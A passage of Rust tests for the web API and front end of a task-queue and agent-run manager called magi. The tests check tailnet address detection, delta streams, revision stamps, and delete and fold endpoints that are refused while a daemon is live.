12988 IpAddr::V4(ip) if is_tailnet(&ip) => {
12989 assert!(warning.is_none(), "a tailnet address needs no warning");
12990 }
12991 other => {
12992 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
12993 let warning = warning.expect("a fallback has to explain itself");
12994 assert!(
12995 warning.contains("127.0.0.1") && warning.contains("local-only"),
12996 "the warning says what happened and what it costs: {warning}"
12997 );
12998 }
12999 }
13000 }
13001
13002 #[test]
13003 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13004 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13008 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13009 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13010 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13011 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13012 }
13013
13014 #[test]
13015 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13016 let ids = vec![
13017 "20260902-140501-aaaa".to_owned(),
13018 "20260902-140502-aabb".to_owned(),
13019 ];
13020
13021 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13022 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13023 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13024
13025 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13026 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13027 assert_eq!(short, "20260902-140502-aabb");
13028 }
13029 #[tokio::test]
13030 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13031 let fx = Fixture::start().await;
13037 let id = panel(
13038 &fx,
13039 "<img src=\"shot.png\">",
13040 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13041 );
13042
13043 let doc = fx
13045 .get(&format!("/api/questions/{id}/panel/index.html"))
13046 .await;
13047 assert_eq!(doc.status, 200, "{}", doc.body);
13048 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13049
13050 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13051 assert_eq!(sibling.status, 200, "{}", sibling.body);
13052 assert_eq!(sibling.header("content-type"), Some("image/png"));
13053 assert_eq!(
13054 sibling.header("content-security-policy"),
13055 Some(PANEL_CSP),
13056 "the sibling route must carry the same policy as the asset route"
13057 );
13058
13059 assert_eq!(
13062 fx.head(&format!("/api/questions/{id}/panel")).await.status,
13063 200
13064 );
13065 }
13066
13067 #[test]
13068 fn delta_stamps_cover_add_update_remove_and_noop() {
13069 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13070 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13071 let delta = diff_stamps(&before, &after, 42);
13072 assert_eq!(delta.base, 42);
13073 assert_eq!(delta.changed, ["b", "c"]);
13074 assert_eq!(delta.removed, ["a"]);
13075 let same = diff_stamps(&after, &after, 43);
13076 assert!(same.changed.is_empty() && same.removed.is_empty());
13077 assert_ne!(stamps_revision(&before), stamps_revision(&after));
13078 let nanos: Stamps = [("b".into(), (2, 20))].into();
13079 let same_ms: Stamps = [("b".into(), (3, 20))].into();
13080 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13081 assert_eq!(stamps_revision(&Stamps::new()), 0);
13082 }
13083
13084 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13085 std::fs::create_dir_all(home.join("runs")).unwrap();
13086 Arc::new(Ui::new(
13087 Queue::at(home.join("queue")),
13088 Questions::at(home.join("questions")),
13089 Talks::at(home.join("talks")),
13090 home.join("runs"),
13091 home.to_owned(),
13092 PathBuf::from("/repo/magi"),
13093 ))
13094 }
13095
13096 #[tokio::test]
13097 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13098 let home = TempDir::new().unwrap();
13099 let ui = delta_test_ui(home.path());
13100 let mut task = Task::new(
13101 "stream task".into(),
13102 "text".into(),
13103 PathBuf::from("/repo"),
13104 Source::Human,
13105 );
13106 ui.queue.put(&mut task).unwrap();
13107 let response = events(State(ui.clone())).await.into_response();
13108 let mut stream = response.into_body().into_data_stream();
13109 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13110 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13111 .await
13112 .unwrap()
13113 .unwrap()
13114 .unwrap();
13115 let text = String::from_utf8(chunk.to_vec()).unwrap();
13116 let data = text
13117 .lines()
13118 .find_map(|line| {
13119 line.strip_prefix("data: ")
13120 .or_else(|| line.strip_prefix("data:"))
13121 })
13122 .unwrap();
13123 serde_json::from_str(data).unwrap()
13124 }
13125 let initial = change(&mut stream).await;
13126 assert!(initial.get("queue_delta").is_none());
13127 task.instruction.push_str(" changed");
13128 ui.queue.put(&mut task).unwrap();
13129 let updated = change(&mut stream).await;
13130 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13131 assert_eq!(
13132 updated["queue_delta"]["changed"],
13133 serde_json::json!([task.id])
13134 );
13135 assert_eq!(
13136 updated["queue_rev"].as_u64(),
13137 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13138 );
13139 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13140 let removed = change(&mut stream).await;
13141 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13142 assert_eq!(
13143 removed["queue_delta"]["removed"],
13144 serde_json::json!([task.id])
13145 );
13146 }
13147
13148 #[tokio::test]
13149 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13150 let home = TempDir::new().unwrap();
13151 let ui = delta_test_ui(home.path());
13152 let queue = ui.queue.clone();
13153 let query = |ids: Option<&str>| {
13154 Query(ListQuery {
13155 limit: Some(2),
13156 ids: ids.map(str::to_owned),
13157 })
13158 };
13159 let mut root = Task::new(
13160 "root".into(),
13161 "instruction".into(),
13162 PathBuf::from("/repo"),
13163 Source::Human,
13164 );
13165 queue.put(&mut root).unwrap();
13166 let mut blocked = Task::new(
13167 "blocked".into(),
13168 "instruction".into(),
13169 PathBuf::from("/repo"),
13170 Source::Human,
13171 );
13172 blocked.block(vec![root.id.clone()], None);
13173 queue.put(&mut blocked).unwrap();
13174 let whole =
13175 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13176 .unwrap();
13177 let subset = serde_json::to_value(
13178 queue_list(State(ui.clone()), query(Some(&root.id)))
13179 .await
13180 .unwrap()
13181 .0,
13182 )
13183 .unwrap();
13184 assert_eq!(whole, subset, "requested root plus its blocked dependent");
13185 let blockers = serde_json::to_value(
13186 queue_list(State(ui.clone()), query(Some("")))
13187 .await
13188 .unwrap()
13189 .0,
13190 )
13191 .unwrap();
13192 assert_eq!(blockers.as_array().unwrap().len(), 1);
13193 assert_eq!(blockers[0]["id"], blocked.id);
13194 assert_eq!(
13195 blockers[0]["waits_on"],
13196 whole
13197 .as_array()
13198 .unwrap()
13199 .iter()
13200 .find(|row| row["id"] == blocked.id)
13201 .unwrap()["waits_on"]
13202 );
13203
13204 for id in [
13205 "20260902-140501-aaaa",
13206 "20260902-140502-bbbb",
13207 "20260902-140503-cccc",
13208 ] {
13209 write_run(&ui.runs, id, RunStatus::Merged);
13210 }
13211 let old = serde_json::to_value(
13212 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13213 .await
13214 .unwrap()
13215 .0,
13216 )
13217 .unwrap();
13218 assert!(
13219 old.as_array().unwrap().is_empty(),
13220 "older updates must not enter the window"
13221 );
13222 let newest = serde_json::to_value(
13223 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13224 .await
13225 .unwrap()
13226 .0,
13227 )
13228 .unwrap();
13229 assert_eq!(newest.as_array().unwrap().len(), 1);
13230 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13231
13232 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13233 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13234 let talks = serde_json::to_value(
13235 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13236 .await
13237 .unwrap()
13238 .0,
13239 )
13240 .unwrap();
13241 assert_eq!(talks.as_array().unwrap().len(), 1);
13242 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13243 assert_eq!(
13244 serde_json::to_value(
13245 talks_list(State(ui.clone()), query(Some("")))
13246 .await
13247 .unwrap()
13248 .0
13249 )
13250 .unwrap(),
13251 serde_json::json!([])
13252 );
13253 }
13254
13255 #[tokio::test]
13256 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13257 async fn delta_payload_benchmark() {
13258 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13259 let ui = delta_test_ui(&home);
13260 let query = |ids: Option<String>| {
13261 Query(ListQuery {
13262 limit: Some(50),
13263 ids,
13264 })
13265 };
13266 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13267 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13268 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13269 let queue_id = queue
13270 .iter()
13271 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13272 .unwrap_or(&queue[0])
13273 .task
13274 .id
13275 .clone();
13276 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13277 .await
13278 .unwrap()
13279 .0;
13280 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13281 .await
13282 .unwrap()
13283 .0;
13284 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13285 .await
13286 .unwrap()
13287 .0;
13288 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13289 eprintln!(
13290 "DELTA_PAYLOAD {}",
13291 serde_json::json!({
13292 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13293 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13294 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13295 "counts": [queue.len(), runs.len(), talks.len()],
13296 "blocked": queue_delta.len() - 1,
13297 })
13298 );
13299 }
13300
13301 #[test]
13302 fn runs_revision_moves_when_deleting_an_older_run() {
13303 let temp = TempDir::new().expect("tempdir");
13304 let runs = temp.path().join("runs");
13305 std::fs::create_dir_all(&runs).expect("create runs dir");
13306
13307 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13308
13309 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13310 std::thread::sleep(Duration::from_millis(10));
13311 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13312
13313 let rev_before = runs_revision(&runs);
13314 assert!(rev_before > 0);
13315
13316 let old_dir = runs.join("20260901-100000-old1");
13317 std::fs::remove_dir_all(&old_dir).expect("remove old run");
13318
13319 let rev_after = runs_revision(&runs);
13320 assert_ne!(
13321 rev_before, rev_after,
13322 "deleting an older run must change the revision so other clients see the deletion"
13323 );
13324 }
13325
13326 fn write_state(runs: &FsPath, state: &RunState) {
13331 let dir = runs.join(&state.id);
13332 std::fs::create_dir_all(&dir).expect("run dir");
13333 std::fs::write(
13334 dir.join("run.json"),
13335 serde_json::to_string_pretty(state).expect("serialize run"),
13336 )
13337 .expect("write run.json");
13338 }
13339
13340 #[test]
13345 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13346 let temp = TempDir::new().expect("tempdir");
13347 let runs = temp.path().join("runs");
13348 std::fs::create_dir_all(&runs).expect("create runs dir");
13349 let mut state = RunState::new(
13350 PathBuf::from("/repo/magi"),
13351 "main".to_owned(),
13352 "0123456789abcdef".to_owned(),
13353 "task".to_owned(),
13354 Config::default(),
13355 );
13356 state.id = "20260902-100000-c0de".to_owned();
13357 write_state(&runs, &state);
13358
13359 let rev_idle = runs_revision(&runs);
13360 std::thread::sleep(Duration::from_millis(10));
13361 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13362 write_state(&runs, &state);
13363 let rev_started = runs_revision(&runs);
13364 assert_ne!(
13365 rev_idle, rev_started,
13366 "a seat starting must move the revision"
13367 );
13368
13369 std::thread::sleep(Duration::from_millis(10));
13370 state.seat_finished("judge-1");
13371 write_state(&runs, &state);
13372 let rev_finished = runs_revision(&runs);
13373 assert_ne!(
13374 rev_started, rev_finished,
13375 "and clearing it again must move the revision a second time"
13376 );
13377 }
13378
13379 #[tokio::test]
13380 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13381 let fx = Fixture::start().await;
13386 let q = fx.queue();
13387
13388 let mut t = Task::new(
13389 "Task".to_owned(),
13390 "Instruction".to_owned(),
13391 PathBuf::from("/repo"),
13392 Source::Human,
13393 );
13394 t.block(
13395 vec!["20260101-000000-dead".to_owned()],
13396 Some("waiting on Task 1".to_owned()),
13397 );
13398 t.answers.push(crate::queue::AnsweredQuestion {
13399 question: "Which backend?".to_owned(),
13400 answer: "SQLite".to_owned(),
13401 });
13402 q.put(&mut t).expect("put t");
13403
13404 let res = fx.get("/api/queue").await;
13405 assert_eq!(res.status, 200);
13406 let list = res.json();
13407 let view = list
13408 .as_array()
13409 .expect("array")
13410 .iter()
13411 .find(|v| v["id"] == t.id)
13412 .expect("task in list");
13413 assert_eq!(view["status_str"], "blocked");
13414 assert_eq!(
13415 view["blocked_by"],
13416 serde_json::json!(["20260101-000000-dead"])
13417 );
13418 assert_eq!(view["block_reason"], "waiting on Task 1");
13419 assert_eq!(view["answers"][0]["question"], "Which backend?");
13420 assert_eq!(view["answers"][0]["answer"], "SQLite");
13421
13422 let res = fx
13426 .post(&format!("/api/queue/{}/hold", t.short()), None)
13427 .await;
13428 assert_eq!(res.status, 200);
13429 let held = res.json();
13430 assert_eq!(held["status_str"], "held");
13431 assert_eq!(held["blocked_by"], serde_json::json!([]));
13432 assert!(held["block_reason"].is_null());
13433 assert_eq!(held["answers"][0]["answer"], "SQLite");
13434 }
13435
13436 #[tokio::test]
13437 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13438 let fx = Fixture::start().await;
13439 let q = fx.queue();
13440 let mk = |title: &str| {
13441 Task::new(
13442 title.to_owned(),
13443 "Instruction".to_owned(),
13444 PathBuf::from("/repo"),
13445 Source::Human,
13446 )
13447 };
13448 let mut root = mk("root");
13449 root.hold_manual(Some("waiting".to_owned()));
13450 q.put(&mut root).unwrap();
13451 let mut mid = mk("mid");
13452 mid.block(vec![root.id.clone()], None);
13453 q.put(&mut mid).unwrap();
13454 let mut leaf = mk("leaf");
13455 leaf.block(vec![mid.id.clone()], None);
13456 q.put(&mut leaf).unwrap();
13457
13458 let list = fx.get("/api/queue").await.json();
13459 let find = |id: &str| {
13460 list.as_array()
13461 .unwrap()
13462 .iter()
13463 .find(|v| v["id"] == id)
13464 .unwrap()
13465 .clone()
13466 };
13467 let leaf_view = find(&leaf.id);
13468 assert_eq!(
13469 leaf_view["waits_on"],
13470 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13471 );
13472 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13473 assert_eq!(
13474 find(&mid.id)["waits_on"],
13475 serde_json::json!([format!("{} (held)", root.short())])
13476 );
13477 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13478 }
13479
13480 #[tokio::test]
13481 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13482 let fx = Fixture::start().await;
13483 let q = fx.queue();
13484
13485 let mut t1 = Task::new(
13487 "Task 1".to_owned(),
13488 "Instruction 1".to_owned(),
13489 PathBuf::from("/repo"),
13490 Source::Human,
13491 );
13492 let run_id = "20260901-000000-r111";
13493 t1.runs.push(run_id.to_owned());
13494 write_run(&fx.runs(), run_id, RunStatus::Merged);
13495 q.put(&mut t1).expect("put t1");
13496
13497 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13499 assert_eq!(res.status, 204);
13500 assert!(res.body.is_empty(), "204 No Content has no body");
13501 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13502 assert!(
13503 fx.runs().join(run_id).exists(),
13504 "run directory must not be deleted when its task is deleted"
13505 );
13506
13507 let mut t2 = Task::new(
13509 "Task 2".to_owned(),
13510 "Instruction 2".to_owned(),
13511 PathBuf::from("/repo"),
13512 Source::Human,
13513 );
13514 t2.status = TaskStatus::Running;
13515 q.put(&mut t2).expect("put t2");
13516 let mut beat = crate::daemon::Status::new();
13517 beat.current = vec![crate::daemon::Current {
13518 task: t2.id.clone(),
13519 run: "20260901-000000-r222".to_owned(),
13520 }];
13521 beat.updated_at = jiff::Timestamp::now();
13522 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13523 .expect("publish a heartbeat");
13524 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13525 assert_eq!(res.status, 409);
13526 assert!(
13527 res.json()["error"]
13528 .as_str()
13529 .unwrap()
13530 .contains("live daemon")
13531 );
13532 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13533
13534 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13540 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13541 .expect("leave a stale heartbeat");
13542 let mut t3 = Task::new(
13543 "Task 3".to_owned(),
13544 "Instruction 3".to_owned(),
13545 PathBuf::from("/repo"),
13546 Source::Human,
13547 );
13548 t3.status = TaskStatus::Running;
13549 q.put(&mut t3).expect("put t3");
13550 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13551 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13552 assert_eq!(res.status, 204);
13553 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13554 assert!(
13555 q.claim(&t3.id).is_ok(),
13556 "the stale lock went with it, so the id is claimable again"
13557 );
13558
13559 let res = fx.delete("/api/queue/nonexistent").await;
13561 assert_eq!(res.status, 404);
13562 }
13563
13564 #[tokio::test]
13565 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13566 let fx = Fixture::start().await;
13567 let runs = fx.runs();
13568
13569 let run_id = "20260901-000000-fold";
13571 let mut state = RunState::new(
13572 PathBuf::from("/repo"),
13573 "main".to_owned(),
13574 "abc".to_owned(),
13575 "instruction".to_owned(),
13576 Config::default(),
13577 );
13578 state.id = run_id.to_owned();
13579 state.status = RunStatus::Merged;
13580 state.candidates.push(crate::run::Candidate {
13581 index: 0,
13582 label: 'A',
13583 agent: "a".to_owned(),
13584 branch: "b".to_owned(),
13585 worktree: PathBuf::from("/w"),
13586 summary: String::new(),
13587 stat: String::new(),
13588 files: 1,
13589 commits: 1,
13590 empty: false,
13591 failed: None,
13592 verified_noop: None,
13593 duration_ms: 0,
13594 folded: true,
13595 });
13596 let dir = runs.join(run_id);
13597 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13598 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13599 .expect("write artifact");
13600 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13601 .expect("write run.json");
13602
13603 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13605 assert_eq!(res.status, 204);
13606 assert!(res.body.is_empty(), "204 has no body");
13607 assert!(!dir.exists(), "run directory and artifacts must be deleted");
13608
13609 let run_running = "20260901-000000-rung";
13614 write_run(&runs, run_running, RunStatus::Prep);
13615 let mut beat = crate::daemon::Status::new();
13616 beat.current = vec![crate::daemon::Current {
13617 task: "20260901-000000-task".to_owned(),
13618 run: run_running.to_owned(),
13619 }];
13620 beat.updated_at = jiff::Timestamp::now();
13621 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13622 .expect("publish a heartbeat");
13623 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
13624 assert_eq!(res.status, 409);
13625 assert!(
13626 res.json()["error"]
13627 .as_str()
13628 .unwrap()
13629 .contains("live daemon"),
13630 "the refusal must say who is holding it"
13631 );
13632 assert!(
13633 runs.join(run_running).exists(),
13634 "a run in flight keeps its directory"
13635 );
13636
13637 let run_unfolded = "20260901-000000-unfd";
13639 let mut state2 = RunState::new(
13640 PathBuf::from("/repo"),
13641 "main".to_owned(),
13642 "abc".to_owned(),
13643 "instruction".to_owned(),
13644 Config::default(),
13645 );
13646 state2.id = run_unfolded.to_owned();
13647 state2.status = RunStatus::Ready;
13648 state2.candidates.push(crate::run::Candidate {
13649 index: 0,
13650 label: 'A',
13651 agent: "a".to_owned(),
13652 branch: "b".to_owned(),
13653 worktree: PathBuf::from("/w"),
13654 summary: String::new(),
13655 stat: String::new(),
13656 files: 1,
13657 commits: 1,
13658 empty: false,
13659 failed: None,
13660 verified_noop: None,
13661 duration_ms: 0,
13662 folded: false,
13663 });
13664 let dir2 = runs.join(run_unfolded);
13665 std::fs::create_dir_all(&dir2).expect("create dir2");
13666 std::fs::write(
13667 dir2.join("run.json"),
13668 serde_json::to_string(&state2).unwrap(),
13669 )
13670 .expect("write run.json");
13671
13672 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
13673 assert_eq!(res.status, 409);
13674 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
13675 assert!(dir2.exists(), "unfolded run directory is kept");
13676
13677 let res = fx.delete("/api/runs/nonexistent").await;
13679 assert_eq!(res.status, 404);
13680 }
13681
13682 #[test]
13691 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
13692 let start = APP_JS
13693 .find("function renderStats() {")
13694 .expect("renderStats");
13695 let end = start
13696 + APP_JS[start..]
13697 .find("function statsTile(")
13698 .expect("the next top-level function");
13699 let body = &APP_JS[start..end];
13700
13701 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
13702 let gate_end = gate_start
13703 + body[gate_start..]
13704 .find("}\n renderStatsQueue")
13705 .expect("the gate's own closing brace, right before the unconditional call");
13706 let gated = &body[gate_start..gate_end];
13707
13708 assert_eq!(
13709 body.matches("renderStatsQueue(").count(),
13710 1,
13711 "renderStats must call renderStatsQueue exactly once: {body}"
13712 );
13713 assert!(
13714 !gated.contains("renderStatsQueue"),
13715 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
13716 run-derived panels on an empty run history - the queue panel has to render \
13717 regardless: {gated}"
13718 );
13719 }
13720
13721 #[test]
13722 fn web_ui_delete_contract_in_front_end() {
13723 assert!(APP_JS.contains("deleteRun:"));
13725 assert!(APP_JS.contains("deleteTask:"));
13726
13727 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
13729 ..APP_JS.find("function renderRuns").unwrap()];
13730 assert!(!run_cards_slice.to_lowercase().contains("delete"));
13731
13732 assert!(APP_JS.contains("renderRunDelete"));
13734 assert!(APP_JS.contains("runDeleteReason"));
13735 assert!(APP_JS.contains("magi fold"));
13736 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13737
13738 assert!(APP_JS.contains("cancel.focus"));
13740 assert!(APP_JS.contains("armedRunDelete"));
13741 assert!(APP_JS.contains("renderTaskDeleteBox"));
13742 assert!(APP_JS.contains("armed${cap(key)}"));
13743
13744 assert!(APP_JS.contains("disabled: status === \"running\""));
13746 }
13747
13748 #[test]
13768 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13769 let build = APP_JS
13770 .find("function createRunCard")
13771 .expect("createRunCard exists");
13772 let update = APP_JS
13773 .find("function updateRunCard")
13774 .expect("updateRunCard exists");
13775 let end = APP_JS
13776 .find("function renderRuns")
13777 .expect("renderRuns exists");
13778
13779 let builder = &APP_JS[build..update];
13781 let open = builder.find("refs = {").expect("createRunCard sets refs");
13782 let literal = &builder[open + "refs = {".len()..];
13783 let close = literal.find('}').expect("the refs literal is closed");
13784 let published: HashSet<&str> = literal[..close]
13785 .split(',')
13786 .filter_map(|entry| entry.split(':').next())
13788 .map(str::trim)
13789 .filter(|name| !name.is_empty())
13790 .collect();
13791 assert!(
13792 published.len() > 5,
13793 "the refs literal did not parse into names: {published:?}"
13794 );
13795
13796 let mut used: Vec<&str> = Vec::new();
13799 let updaters = &APP_JS[update..end];
13800 for (at, _) in updaters.match_indices("r.") {
13801 let before = updaters[..at].chars().next_back();
13804 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13805 continue;
13806 }
13807 let rest = &updaters[at + 2..];
13808 let len = rest
13809 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
13810 .unwrap_or(rest.len());
13811 if len > 0 {
13812 used.push(&rest[..len]);
13813 }
13814 }
13815 assert!(
13816 used.len() > 5,
13817 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
13818 );
13819
13820 let missing: Vec<&str> = used
13821 .iter()
13822 .copied()
13823 .filter(|name| !published.contains(name))
13824 .collect();
13825 assert!(
13826 missing.is_empty(),
13827 "a run card's updater reaches for {missing:?}, which `createRunCard` \
13828 never put in `refs` - every card will throw and the list will \
13829 render empty under a count line that says otherwise. Published: \
13830 {published:?}"
13831 );
13832 }
13833
13834 #[tokio::test]
13835 async fn folding_from_the_phone_reports_what_it_removed() {
13836 let fx = Fixture::start().await;
13837 let runs = fx.runs();
13838
13839 let id = "20260901-000000-fold";
13843 write_run(&runs, id, RunStatus::Stalled);
13844 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13845 assert_eq!(res.status, 200);
13846 assert_eq!(res.json()["removed_count"], 0);
13847 assert_eq!(res.json()["run"], id);
13848 assert!(
13849 runs.join(id).exists(),
13850 "a fold keeps the run's record; only the worktrees go"
13851 );
13852 }
13853
13854 #[tokio::test]
13855 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13856 let fx = Fixture::start().await;
13857 let runs = fx.runs();
13858 let wt = fx.home.path().join("wt").join("magi").join("dead");
13859 let id = "20260901-000000-dead";
13860 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13861 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13862 std::fs::create_dir_all(&wt).expect("worktree dir");
13863
13864 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13865 assert_eq!(res.status, 200, "{}", res.body);
13866 assert!(
13867 res.json()["removed_count"].as_u64().unwrap() > 0,
13868 "the worktree this build could not read a state for still went"
13869 );
13870 assert!(
13871 !runs.join(id).exists(),
13872 "an unreadable run has no candidate list to fold selectively, so \
13873 the whole record goes - same as `magi fold` on the CLI"
13874 );
13875 }
13876
13877 #[tokio::test]
13878 async fn deleting_an_unreadable_run_removes_it_wholesale() {
13879 let fx = Fixture::start().await;
13880 let runs = fx.runs();
13881 let wt = fx.home.path().join("wt").join("magi").join("gone");
13882 let id = "20260901-000000-gone";
13883 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13884 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13885 std::fs::create_dir_all(&wt).expect("worktree dir");
13886
13887 let res = fx.delete(&format!("/api/runs/{id}")).await;
13888 assert_eq!(res.status, 204, "{}", res.body);
13889 assert!(!runs.join(id).exists(), "the broken record is gone");
13890 assert!(!wt.exists(), "its worktree is gone too");
13891 }
13892
13893 #[tokio::test]
13894 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
13895 let fx = Fixture::start().await;
13896 let runs = fx.runs();
13897 let id = "20260901-000000-live";
13898 write_run(&runs, id, RunStatus::Implementing);
13899
13900 let mut beat = crate::daemon::Status::new();
13901 beat.current = vec![crate::daemon::Current {
13902 task: "20260901-000000-task".to_owned(),
13903 run: id.to_owned(),
13904 }];
13905 beat.updated_at = jiff::Timestamp::now();
13906 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13907 .expect("publish a heartbeat");
13908
13909 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13910 assert_eq!(res.status, 409);
13911 assert!(
13912 res.json()["error"]
13913 .as_str()
13914 .unwrap()
13915 .contains("live daemon"),
13916 "folding under a running agent would pull its worktree away"
13917 );
13918 }
13919
13920 #[tokio::test]
13921 async fn fold_merged_requires_a_pr_url() {
13922 let fx = Fixture::start().await;
13923 let runs = fx.runs();
13924 let id = "20260901-000000-nourl";
13925 write_run(&runs, id, RunStatus::Blocked);
13926
13927 let res = fx
13928 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
13929 .await;
13930 assert_eq!(res.status, 400, "{}", res.body);
13931
13932 let blank = fx
13933 .post(
13934 &format!("/api/runs/{id}/fold-merged"),
13935 Some(r#"{"pr_url":" "}"#),
13936 )
13937 .await;
13938 assert_eq!(blank.status, 400, "{}", blank.body);
13939 }
13940
13941 #[tokio::test]
13942 async fn fold_merged_is_404_for_an_unknown_run() {
13943 let fx = Fixture::start().await;
13944 let res = fx
13945 .post(
13946 "/api/runs/nosuchrun/fold-merged",
13947 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13948 )
13949 .await;
13950 assert_eq!(res.status, 404, "{}", res.body);
13951 }
13952
13953 #[tokio::test]
13954 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
13955 let fx = Fixture::start().await;
13956 let runs = fx.runs();
13957 let id = "20260901-000000-livemerge";
13958 write_run(&runs, id, RunStatus::Blocked);
13959
13960 let mut beat = crate::daemon::Status::new();
13961 beat.current = vec![crate::daemon::Current {
13962 task: "20260901-000000-task".to_owned(),
13963 run: id.to_owned(),
13964 }];
13965 beat.updated_at = jiff::Timestamp::now();
13966 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13967 .expect("publish a heartbeat");
13968
13969 let res = fx
13970 .post(
13971 &format!("/api/runs/{id}/fold-merged"),
